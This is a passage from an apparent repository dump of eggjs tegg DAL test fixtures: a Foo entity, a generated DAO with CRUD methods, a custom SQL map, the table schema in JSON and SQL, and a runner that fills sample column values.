'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  textColumn: string;\n\n  @Column({\n    type: ColumnType.MEDIUMBLOB,\n  })\n  mediumBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.LONGBLOB,\n  })\n  longBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.MEDIUMTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  mediumTextColumn: string;\n\n  @Column({\n    type: ColumnType.LONGTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  longTextColumn: string;\n\n  @Column({\n    type: ColumnType.ENUM,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  enumColumn: string;\n\n  @Column({\n    type: ColumnType.SET,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  setColumn: string;\n\n  @Column({\n    type: ColumnType.GEOMETRY,\n  })\n  geometryColumn: Geometry;\n\n  @Column({\n    type: ColumnType.POINT,\n  })\n  pointColumn: Point;\n\n  @Column({\n    type: ColumnType.LINESTRING,\n  })\n  lineStringColumn: Line;\n\n  @Column({\n    type: ColumnType.POLYGON,\n  })\n  polygonColumn: Polygon;\n\n  @Column({\n    type: ColumnType.MULTIPOINT,\n  })\n  multipointColumn: MultiPoint;\n\n  @Column({\n    type: ColumnType.MULTILINESTRING,\n  })\n  multiLineStringColumn: MultiLine;\n\n  @Column({\n    type: ColumnType.MULTIPOLYGON,\n  })\n  multiPolygonColumn: MultiPolygon;\n\n  @Column({\n    type: ColumnType.GEOMETRYCOLLECTION,\n  })\n  geometryCollectionColumn: GeometryCollection;\n\n  @Column({\n    type: ColumnType.JSON,\n  })\n  jsonColumn: object;\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/src/dal/dao/FooDAO.ts",
    "content": "import { SingletonProto, AccessLevel } from '@eggjs/tegg';\n\nimport { Foo } from '../../Foo.js';\nimport { BaseFooDAO } from './base/BaseFooDAO.js';\n\n/**\n * FooDAO 类\n * @class FooDAO\n * @classdesc 在此扩展关于 Foo 数据的一切操作\n * @augments BaseFooDAO\n */\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class FooDAO extends BaseFooDAO {\n  async findByName(name: string): Promise<Foo[]> {\n    return this.dataSource.execute('findByName', {\n      name,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/src/dal/dao/base/BaseFooDAO.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport type { InsertResult, UpdateResult, DeleteResult } from '@eggjs/dal-decorator';\nimport { type DataSource, DataSourceInjectName, DataSourceQualifier, type ColumnTsType } from '@eggjs/dal-decorator';\nimport { Inject } from '@eggjs/tegg';\nimport { Dao } from '@eggjs/tegg/dal';\n\nimport { Foo } from '../../../Foo.ts';\nimport FooExtension from '../../extension/FooExtension.ts';\nimport Structure from '../../structure/Foo.json' with { type: 'json' };\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\ntype Optional<T, K extends keyof T> = Omit<T, K> & Partial<T>;\n/**\n * 自动生成的 FooDAO 基类\n * @class BaseFooDAO\n * @classdesc 该文件由 @eggjs/tegg 自动生成，请**不要**修改它！\n */\n/* istanbul ignore next */\n@Dao()\nexport class BaseFooDAO {\n  static _SQL = '';\n  static clazzModel: typeof Foo = Foo;\n  static clazzExtension: typeof FooExtension = FooExtension;\n  static tableStature: typeof Structure = Structure;\n  static get tableSql(): string {\n    if (!this._SQL) {\n      this._SQL = fs.readFileSync(path.join(__dirname, '../../structure/Foo.sql'), 'utf8');\n    }\n    return this._SQL;\n  }\n  @Inject({\n    name: DataSourceInjectName,\n  })\n  @DataSourceQualifier('dal.foo.Foo')\n  protected readonly dataSource: DataSource<Foo>;\n\n  public async insert(raw: Optional<Foo, 'id'>): Promise<InsertResult> {\n    const data: Record<string, any> = {};\n    let tmp;\n\n    tmp = raw.id;\n    if (tmp !== undefined) {\n      data.$id = tmp;\n    }\n\n    tmp = raw.name;\n    if (tmp !== undefined) {\n      data.$name = tmp;\n    }\n\n    tmp = raw.col1;\n    if (tmp !== undefined) {\n      data.$col1 = tmp;\n    }\n\n    tmp = raw.bitColumn;\n    if (tmp !== undefined) {\n      data.$bitColumn = tmp;\n    }\n\n    tmp = raw.boolColumn;\n    if (tmp !== undefined) {\n      data.$boolColumn = tmp;\n    }\n\n    tmp = raw.tinyIntColumn;\n    if (tmp !== undefined) {\n      data.$tinyIntColumn = tmp;\n    }\n\n    tmp = raw.smallIntColumn;\n    if (tmp !== undefined) {\n      data.$smallIntColumn = tmp;\n    }\n\n    tmp = raw.mediumIntColumn;\n    if (tmp !== undefined) {\n      data.$mediumIntColumn = tmp;\n    }\n\n    tmp = raw.intColumn;\n    if (tmp !== undefined) {\n      data.$intColumn = tmp;\n    }\n\n    tmp = raw.bigIntColumn;\n    if (tmp !== undefined) {\n      data.$bigIntColumn = tmp;\n    }\n\n    tmp = raw.decimalColumn;\n    if (tmp !== undefined) {\n      data.$decimalColumn = tmp;\n    }\n\n    tmp = raw.floatColumn;\n    if (tmp !== undefined) {\n      data.$floatColumn = tmp;\n    }\n\n    tmp = raw.doubleColumn;\n    if (tmp !== undefined) {\n      data.$doubleColumn = tmp;\n    }\n\n    tmp = raw.dateColumn;\n    if (tmp !== undefined) {\n      data.$dateColumn = tmp;\n    }\n\n    tmp = raw.dateTimeColumn;\n    if (tmp !== undefined) {\n      data.$dateTimeColumn = tmp;\n    }\n\n    tmp = raw.timestampColumn;\n    if (tmp !== undefined) {\n      data.$timestampColumn = tmp;\n    }\n\n    tmp = raw.timeColumn;\n    if (tmp !== undefined) {\n      data.$timeColumn = tmp;\n    }\n\n    tmp = raw.yearColumn;\n    if (tmp !== undefined) {\n      data.$yearColumn = tmp;\n    }\n\n    tmp = raw.varCharColumn;\n    if (tmp !== undefined) {\n      data.$varCharColumn = tmp;\n    }\n\n    tmp = raw.binaryColumn;\n    if (tmp !== undefined) {\n      data.$binaryColumn = tmp;\n    }\n\n    tmp = raw.varBinaryColumn;\n    if (tmp !== undefined) {\n      data.$varBinaryColumn = tmp;\n    }\n\n    tmp = raw.tinyBlobColumn;\n    if (tmp !== undefined) {\n      data.$tinyBlobColumn = tmp;\n    }\n\n    tmp = raw.tinyTextColumn;\n    if (tmp !== undefined) {\n      data.$tinyTextColumn = tmp;\n    }\n\n    tmp = raw.blobColumn;\n    if (tmp !== undefined) {\n      data.$blobColumn = tmp;\n    }\n\n    tmp = raw.textColumn;\n    if (tmp !== undefined) {\n      data.$textColumn = tmp;\n    }\n\n    tmp = raw.mediumBlobColumn;\n    if (tmp !== undefined) {\n      data.$mediumBlobColumn = tmp;\n    }\n\n    tmp = raw.longBlobColumn;\n    if (tmp !== undefined) {\n      data.$longBlobColumn = tmp;\n    }\n\n    tmp = raw.mediumTextColumn;\n    if (tmp !== undefined) {\n      data.$mediumTextColumn = tmp;\n    }\n\n    tmp = raw.longTextColumn;\n    if (tmp !== undefined) {\n      data.$longTextColumn = tmp;\n    }\n\n    tmp = raw.enumColumn;\n    if (tmp !== undefined) {\n      data.$enumColumn = tmp;\n    }\n\n    tmp = raw.setColumn;\n    if (tmp !== undefined) {\n      data.$setColumn = tmp;\n    }\n\n    tmp = raw.geometryColumn;\n    if (tmp !== undefined) {\n      data.$geometryColumn = tmp;\n    }\n\n    tmp = raw.pointColumn;\n    if (tmp !== undefined) {\n      data.$pointColumn = tmp;\n    }\n\n    tmp = raw.lineStringColumn;\n    if (tmp !== undefined) {\n      data.$lineStringColumn = tmp;\n    }\n\n    tmp = raw.polygonColumn;\n    if (tmp !== undefined) {\n      data.$polygonColumn = tmp;\n    }\n\n    tmp = raw.multipointColumn;\n    if (tmp !== undefined) {\n      data.$multipointColumn = tmp;\n    }\n\n    tmp = raw.multiLineStringColumn;\n    if (tmp !== undefined) {\n      data.$multiLineStringColumn = tmp;\n    }\n\n    tmp = raw.multiPolygonColumn;\n    if (tmp !== undefined) {\n      data.$multiPolygonColumn = tmp;\n    }\n\n    tmp = raw.geometryCollectionColumn;\n    if (tmp !== undefined) {\n      data.$geometryCollectionColumn = tmp;\n    }\n\n    tmp = raw.jsonColumn;\n    if (tmp !== undefined) {\n      data.$jsonColumn = tmp;\n    }\n\n    return this.dataSource.executeRawScalar('insert', data);\n  }\n\n  public async update(id: ColumnTsType['INT'], data: Partial<Foo>): Promise<UpdateResult> {\n    const newData: Record<string, any> = {\n      primary: {\n        id,\n      },\n    };\n    let tmp;\n\n    tmp = data.id;\n    if (tmp !== undefined) {\n      newData.$id = tmp;\n    }\n\n    tmp = data.name;\n    if (tmp !== undefined) {\n      newData.$name = tmp;\n    }\n\n    tmp = data.col1;\n    if (tmp !== undefined) {\n      newData.$col1 = tmp;\n    }\n\n    tmp = data.bitColumn;\n    if (tmp !== undefined) {\n      newData.$bitColumn = tmp;\n    }\n\n    tmp = data.boolColumn;\n    if (tmp !== undefined) {\n      newData.$boolColumn = tmp;\n    }\n\n    tmp = data.tinyIntColumn;\n    if (tmp !== undefined) {\n      newData.$tinyIntColumn = tmp;\n    }\n\n    tmp = data.smallIntColumn;\n    if (tmp !== undefined) {\n      newData.$smallIntColumn = tmp;\n    }\n\n    tmp = data.mediumIntColumn;\n    if (tmp !== undefined) {\n      newData.$mediumIntColumn = tmp;\n    }\n\n    tmp = data.intColumn;\n    if (tmp !== undefined) {\n      newData.$intColumn = tmp;\n    }\n\n    tmp = data.bigIntColumn;\n    if (tmp !== undefined) {\n      newData.$bigIntColumn = tmp;\n    }\n\n    tmp = data.decimalColumn;\n    if (tmp !== undefined) {\n      newData.$decimalColumn = tmp;\n    }\n\n    tmp = data.floatColumn;\n    if (tmp !== undefined) {\n      newData.$floatColumn = tmp;\n    }\n\n    tmp = data.doubleColumn;\n    if (tmp !== undefined) {\n      newData.$doubleColumn = tmp;\n    }\n\n    tmp = data.dateColumn;\n    if (tmp !== undefined) {\n      newData.$dateColumn = tmp;\n    }\n\n    tmp = data.dateTimeColumn;\n    if (tmp !== undefined) {\n      newData.$dateTimeColumn = tmp;\n    }\n\n    tmp = data.timestampColumn;\n    if (tmp !== undefined) {\n      newData.$timestampColumn = tmp;\n    }\n\n    tmp = data.timeColumn;\n    if (tmp !== undefined) {\n      newData.$timeColumn = tmp;\n    }\n\n    tmp = data.yearColumn;\n    if (tmp !== undefined) {\n      newData.$yearColumn = tmp;\n    }\n\n    tmp = data.varCharColumn;\n    if (tmp !== undefined) {\n      newData.$varCharColumn = tmp;\n    }\n\n    tmp = data.binaryColumn;\n    if (tmp !== undefined) {\n      newData.$binaryColumn = tmp;\n    }\n\n    tmp = data.varBinaryColumn;\n    if (tmp !== undefined) {\n      newData.$varBinaryColumn = tmp;\n    }\n\n    tmp = data.tinyBlobColumn;\n    if (tmp !== undefined) {\n      newData.$tinyBlobColumn = tmp;\n    }\n\n    tmp = data.tinyTextColumn;\n    if (tmp !== undefined) {\n      newData.$tinyTextColumn = tmp;\n    }\n\n    tmp = data.blobColumn;\n    if (tmp !== undefined) {\n      newData.$blobColumn = tmp;\n    }\n\n    tmp = data.textColumn;\n    if (tmp !== undefined) {\n      newData.$textColumn = tmp;\n    }\n\n    tmp = data.mediumBlobColumn;\n    if (tmp !== undefined) {\n      newData.$mediumBlobColumn = tmp;\n    }\n\n    tmp = data.longBlobColumn;\n    if (tmp !== undefined) {\n      newData.$longBlobColumn = tmp;\n    }\n\n    tmp = data.mediumTextColumn;\n    if (tmp !== undefined) {\n      newData.$mediumTextColumn = tmp;\n    }\n\n    tmp = data.longTextColumn;\n    if (tmp !== undefined) {\n      newData.$longTextColumn = tmp;\n    }\n\n    tmp = data.enumColumn;\n    if (tmp !== undefined) {\n      newData.$enumColumn = tmp;\n    }\n\n    tmp = data.setColumn;\n    if (tmp !== undefined) {\n      newData.$setColumn = tmp;\n    }\n\n    tmp = data.geometryColumn;\n    if (tmp !== undefined) {\n      newData.$geometryColumn = tmp;\n    }\n\n    tmp = data.pointColumn;\n    if (tmp !== undefined) {\n      newData.$pointColumn = tmp;\n    }\n\n    tmp = data.lineStringColumn;\n    if (tmp !== undefined) {\n      newData.$lineStringColumn = tmp;\n    }\n\n    tmp = data.polygonColumn;\n    if (tmp !== undefined) {\n      newData.$polygonColumn = tmp;\n    }\n\n    tmp = data.multipointColumn;\n    if (tmp !== undefined) {\n      newData.$multipointColumn = tmp;\n    }\n\n    tmp = data.multiLineStringColumn;\n    if (tmp !== undefined) {\n      newData.$multiLineStringColumn = tmp;\n    }\n\n    tmp = data.multiPolygonColumn;\n    if (tmp !== undefined) {\n      newData.$multiPolygonColumn = tmp;\n    }\n\n    tmp = data.geometryCollectionColumn;\n    if (tmp !== undefined) {\n      newData.$geometryCollectionColumn = tmp;\n    }\n\n    tmp = data.jsonColumn;\n    if (tmp !== undefined) {\n      newData.$jsonColumn = tmp;\n    }\n\n    return this.dataSource.executeRawScalar('update', newData);\n  }\n\n  public async delete(id: ColumnTsType['INT']): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {\n      id,\n    });\n  }\n\n  public async del(id: ColumnTsType['INT']): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {\n      id,\n    });\n  }\n\n  public async findByCol1($col1: ColumnTsType['VARCHAR']): Promise<Foo[]> {\n    return this.dataSource.execute('findByCol1', {\n      $col1,\n    });\n  }\n\n  public async findOneByCol1($col1: ColumnTsType['VARCHAR']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findOneByCol1', {\n      $col1,\n    });\n  }\n\n  public async findByUkNameCol1($name: ColumnTsType['VARCHAR'], $col1: ColumnTsType['VARCHAR']): Promise<Foo[]> {\n    return this.dataSource.execute('findByUkNameCol1', {\n      $name,\n      $col1,\n    });\n  }\n\n  public async findOneByUkNameCol1(\n    $name: ColumnTsType['VARCHAR'],\n    $col1: ColumnTsType['VARCHAR'],\n  ): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findOneByUkNameCol1', {\n      $name,\n      $col1,\n    });\n  }\n\n  public async findById($id: ColumnTsType['INT']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findById', {\n      $id,\n    });\n  }\n\n  public async findByPrimary($id: ColumnTsType['INT']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findById', {\n      $id,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/src/dal/extension/FooExtension.ts",
    "content": "import { type SqlMap } from '@eggjs/tegg/dal';\n\n/**\n * Define Custom SQLs\n *\n * import { type SqlMap, SqlType } from '@eggjs/tegg/dal';\n *\n * export default {\n *   findByName: {\n *     type: SqlType.SELECT,\n *     sql: 'SELECT {{ allColumns }} from foo where name = {{ name }}'\n *   },\n * }\n */\nexport default {\n  findByName: {\n    type: 'SELECT',\n    sql: 'SELECT {{ allColumns }} FROM egg_foo WHERE name = {{ name }}',\n  },\n} as Record<string, SqlMap>;\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/src/dal/structure/Foo.json",
    "content": "{\n  \"name\": \"egg_foo\",\n  \"dataSourceName\": \"default\",\n  \"columns\": [\n    {\n      \"columnName\": \"id\",\n      \"propertyName\": \"id\",\n      \"type\": {\n        \"type\": \"INT\"\n      },\n      \"canNull\": false,\n      \"comment\": \"the primary key\",\n      \"autoIncrement\": true,\n      \"primaryKey\": true\n    },\n    {\n      \"columnName\": \"name\",\n      \"propertyName\": \"name\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100\n      },\n      \"canNull\": true,\n      \"uniqueKey\": true\n    },\n    {\n      \"columnName\": \"col1\",\n      \"propertyName\": \"col1\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"bit_column\",\n      \"propertyName\": \"bitColumn\",\n      \"type\": {\n        \"type\": \"BIT\",\n        \"length\": 10\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"bool_column\",\n      \"propertyName\": \"boolColumn\",\n      \"type\": {\n        \"type\": \"BOOL\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_int_column\",\n      \"propertyName\": \"tinyIntColumn\",\n      \"type\": {\n        \"type\": \"TINYINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"small_int_column\",\n      \"propertyName\": \"smallIntColumn\",\n      \"type\": {\n        \"type\": \"SMALLINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_int_column\",\n      \"propertyName\": \"mediumIntColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"int_column\",\n      \"propertyName\": \"intColumn\",\n      \"type\": {\n        \"type\": \"INT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"big_int_column\",\n      \"propertyName\": \"bigIntColumn\",\n      \"type\": {\n        \"type\": \"BIGINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"decimal_column\",\n      \"propertyName\": \"decimalColumn\",\n      \"type\": {\n        \"type\": \"DECIMAL\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"float_column\",\n      \"propertyName\": \"floatColumn\",\n      \"type\": {\n        \"type\": \"FLOAT\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"double_column\",\n      \"propertyName\": \"doubleColumn\",\n      \"type\": {\n        \"type\": \"DOUBLE\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"date_column\",\n      \"propertyName\": \"dateColumn\",\n      \"type\": {\n        \"type\": \"DATE\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"date_time_column\",\n      \"propertyName\": \"dateTimeColumn\",\n      \"type\": {\n        \"type\": \"DATETIME\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"timestamp_column\",\n      \"propertyName\": \"timestampColumn\",\n      \"type\": {\n        \"type\": \"TIMESTAMP\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"time_column\",\n      \"propertyName\": \"timeColumn\",\n      \"type\": {\n        \"type\": \"TIME\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"year_column\",\n      \"propertyName\": \"yearColumn\",\n      \"type\": {\n        \"type\": \"YEAR\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"var_char_column\",\n      \"propertyName\": \"varCharColumn\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100,\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"binary_column\",\n      \"propertyName\": \"binaryColumn\",\n      \"type\": {\n        \"type\": \"BINARY\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"var_binary_column\",\n      \"propertyName\": \"varBinaryColumn\",\n      \"type\": {\n        \"type\": \"VARBINARY\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_blob_column\",\n      \"propertyName\": \"tinyBlobColumn\",\n      \"type\": {\n        \"type\": \"TINYBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_text_column\",\n      \"propertyName\": \"tinyTextColumn\",\n      \"type\": {\n        \"type\": \"TINYTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"blob_column\",\n      \"propertyName\": \"blobColumn\",\n      \"type\": {\n        \"type\": \"BLOB\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"text_column\",\n      \"propertyName\": \"textColumn\",\n      \"type\": {\n        \"type\": \"TEXT\",\n        \"length\": 100,\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_blob_column\",\n      \"propertyName\": \"mediumBlobColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"long_blob_column\",\n      \"propertyName\": \"longBlobColumn\",\n      \"type\": {\n        \"type\": \"LONGBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_text_column\",\n      \"propertyName\": \"mediumTextColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"long_text_column\",\n      \"propertyName\": \"longTextColumn\",\n      \"type\": {\n        \"type\": \"LONGTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"enum_column\",\n      \"propertyName\": \"enumColumn\",\n      \"type\": {\n        \"type\": \"ENUM\",\n        \"enums\": [\"A\", \"B\"],\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"set_column\",\n      \"propertyName\": \"setColumn\",\n      \"type\": {\n        \"type\": \"SET\",\n        \"enums\": [\"A\", \"B\"],\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"geometry_column\",\n      \"propertyName\": \"geometryColumn\",\n      \"type\": {\n        \"type\": \"GEOMETRY\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"point_column\",\n      \"propertyName\": \"pointColumn\",\n      \"type\": {\n        \"type\": \"POINT\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"line_string_column\",\n      \"propertyName\": \"lineStringColumn\",\n      \"type\": {\n        \"type\": \"LINESTRING\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"polygon_column\",\n      \"propertyName\": \"polygonColumn\",\n      \"type\": {\n        \"type\": \"POLYGON\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multipoint_column\",\n      \"propertyName\": \"multipointColumn\",\n      \"type\": {\n        \"type\": \"MULTIPOINT\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multi_line_string_column\",\n      \"propertyName\": \"multiLineStringColumn\",\n      \"type\": {\n        \"type\": \"MULTILINESTRING\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multi_polygon_column\",\n      \"propertyName\": \"multiPolygonColumn\",\n      \"type\": {\n        \"type\": \"MULTIPOLYGON\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"geometry_collection_column\",\n      \"propertyName\": \"geometryCollectionColumn\",\n      \"type\": {\n        \"type\": \"GEOMETRYCOLLECTION\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"json_column\",\n      \"propertyName\": \"jsonColumn\",\n      \"type\": {\n        \"type\": \"JSON\"\n      },\n      \"canNull\": true\n    }\n  ],\n  \"indices\": [\n    {\n      \"name\": \"idx_col1\",\n      \"keys\": [\n        {\n          \"propertyName\": \"col1\",\n          \"columnName\": \"col1\"\n        }\n      ],\n      \"type\": \"FULLTEXT\",\n      \"comment\": \"index comment\\n\"\n    },\n    {\n      \"name\": \"uk_name_col1\",\n      \"keys\": [\n        {\n          \"propertyName\": \"name\",\n          \"columnName\": \"name\"\n        },\n        {\n          \"propertyName\": \"col1\",\n          \"columnName\": \"col1\"\n        }\n      ],\n      \"type\": \"UNIQUE\",\n      \"storeType\": \"BTREE\",\n      \"comment\": \"index comment\\n\"\n    }\n  ],\n  \"comment\": \"foo table\",\n  \"characterSet\": \"utf8mb4\",\n  \"collate\": \"utf8mb4_unicode_ci\"\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/src/dal/structure/Foo.sql",
    "content": "CREATE TABLE IF NOT EXISTS egg_foo (\n  id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'the primary key',\n  name VARCHAR(100) NULL UNIQUE KEY,\n  col1 VARCHAR(100) NULL,\n  bit_column BIT(10) NULL,\n  bool_column BOOL NULL,\n  tiny_int_column TINYINT(5) UNSIGNED ZEROFILL NULL,\n  small_int_column SMALLINT(5) UNSIGNED ZEROFILL NULL,\n  medium_int_column MEDIUMINT(5) UNSIGNED ZEROFILL NULL,\n  int_column INT(5) UNSIGNED ZEROFILL NULL,\n  big_int_column BIGINT(5) UNSIGNED ZEROFILL NULL,\n  decimal_column DECIMAL(10,5) UNSIGNED ZEROFILL NULL,\n  float_column FLOAT(10,5) UNSIGNED ZEROFILL NULL,\n  double_column DOUBLE(10,5) UNSIGNED ZEROFILL NULL,\n  date_column DATE NULL,\n  date_time_column DATETIME(3) NULL,\n  timestamp_column TIMESTAMP(3) NULL,\n  time_column TIME(3) NULL,\n  year_column YEAR NULL,\n  var_char_column VARCHAR(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  binary_column BINARY NULL,\n  var_binary_column VARBINARY(100) NULL,\n  tiny_blob_column TINYBLOB NULL,\n  tiny_text_column TINYTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  blob_column BLOB(100) NULL,\n  text_column TEXT(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  medium_blob_column MEDIUMBLOB NULL,\n  long_blob_column LONGBLOB NULL,\n  medium_text_column MEDIUMTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  long_text_column LONGTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  enum_column ENUM('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  set_column SET('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  geometry_column GEOMETRY NULL,\n  point_column POINT NULL,\n  line_string_column LINESTRING NULL,\n  polygon_column POLYGON NULL,\n  multipoint_column MULTIPOINT NULL,\n  multi_line_string_column MULTILINESTRING NULL,\n  multi_polygon_column MULTIPOLYGON NULL,\n  geometry_collection_column GEOMETRYCOLLECTION NULL,\n  json_column JSON NULL,\n  FULLTEXT KEY idx_col1 (col1) COMMENT 'index comment\\n',\n  UNIQUE KEY uk_name_col1 (name,col1) USING BTREE COMMENT 'index comment\\n'\n) DEFAULT CHARACTER SET utf8mb4, DEFAULT COLLATE utf8mb4_unicode_ci, COMMENT='foo table';"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/src/main.ts",
    "content": "import { randomUUID } from 'node:crypto';\n\nimport { ContextProto, Inject } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nimport FooDAO from './dal/dao/FooDAO.ts';\nimport { Foo } from './Foo.ts';\n\n@Runner()\n@ContextProto()\nexport class FooRunner implements MainRunner<Foo | null> {\n  @Inject()\n  fooDAO: FooDAO;\n\n  async main(): Promise<Foo | null> {\n    const foo = new Foo();\n    foo.col1 = '2333';\n    foo.name = 'test_service_worker' + randomUUID();\n    foo.bitColumn = Buffer.from([0, 0]);\n    foo.boolColumn = 0;\n    foo.tinyIntColumn = 0;\n    foo.smallIntColumn = 1;\n    foo.mediumIntColumn = 3;\n    foo.intColumn = 3;\n    foo.bigIntColumn = '00099';\n    foo.decimalColumn = '00002.33333';\n    foo.floatColumn = 2.3;\n    foo.doubleColumn = 2.3;\n    foo.dateColumn = new Date('2020-03-15T16:00:00.000Z');\n    foo.dateTimeColumn = new Date('2024-03-16T01:26:58.677Z');\n    foo.timestampColumn = new Date('2024-03-16T01:26:58.677Z');\n    foo.timeColumn = '838:59:50.123';\n    foo.yearColumn = 2024;\n    foo.varCharColumn = 'var_char';\n    foo.binaryColumn = Buffer.from('b');\n    foo.varBinaryColumn = Buffer.from('var_binary');\n    foo.tinyBlobColumn = Buffer.from('tiny_blob');\n    foo.tinyTextColumn = 'text';\n    foo.blobColumn = Buffer.from('blob');\n    foo.textColumn = 'text';\n    foo.mediumBlobColumn = Buffer.from('medium_blob');\n    foo.longBlobColumn = Buffer.from('long_blob');\n    foo.mediumTextColumn = 'medium_text';\n    foo.longTextColumn = 'long_text';\n    foo.enumColumn = 'A';\n    foo.setColumn = 'B';\n    foo.geometryColumn = { x: 10, y: 10 };\n    foo.pointColumn = { x: 10, y: 10 };\n    foo.lineStringColumn = [\n      { x: 15, y: 15 },\n      { x: 20, y: 20 